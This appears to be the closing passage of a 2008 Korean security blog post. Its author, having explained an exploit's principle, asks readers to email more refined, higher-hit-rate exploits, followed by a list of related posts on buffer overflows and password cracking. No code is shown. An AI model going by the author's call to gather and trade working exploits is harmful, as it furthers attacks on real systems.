 내가 원리를 통쾌하게 설명 했으니, 공격에 성공한 Exploit들을 내게 좀 보내주었으면 하는 마음으로 일단, 문서를 먼저 공개 하는 쪽으로 하자. 솔직히 나는 게을러서 도대체  이 문서도 온전히 못 끝낼꺼라고 생각했다.  :^!
 
 위에서 내가 한 짓보다 더 세련되고, 공격 hit율이 높은 exploit을 아는 분은 혹은 ,연구한 분은 내게 mail을 주기 바란다. 또한, 그 사람이 부디 Source 빈국이라는  불명예 한국 국적의 hacker이길 간절히 기원하는 바이다.

4.b.~4.d.

 "it's your space"

 

 

'[☩ Security ☩]' 카테고리의 다른 글

Nessus를 활용한 점검  (0) 2008.02.04
다이렉트 / 크로스 케이블 만들기  (0) 2008.02.04
Frame Bufferoverflow  (0) 2008.02.04
Password Crack의 이해와 정보  (0) 2008.02.04
Unix Password 의 구조와 crack 및 대응법  (0) 2008.02.04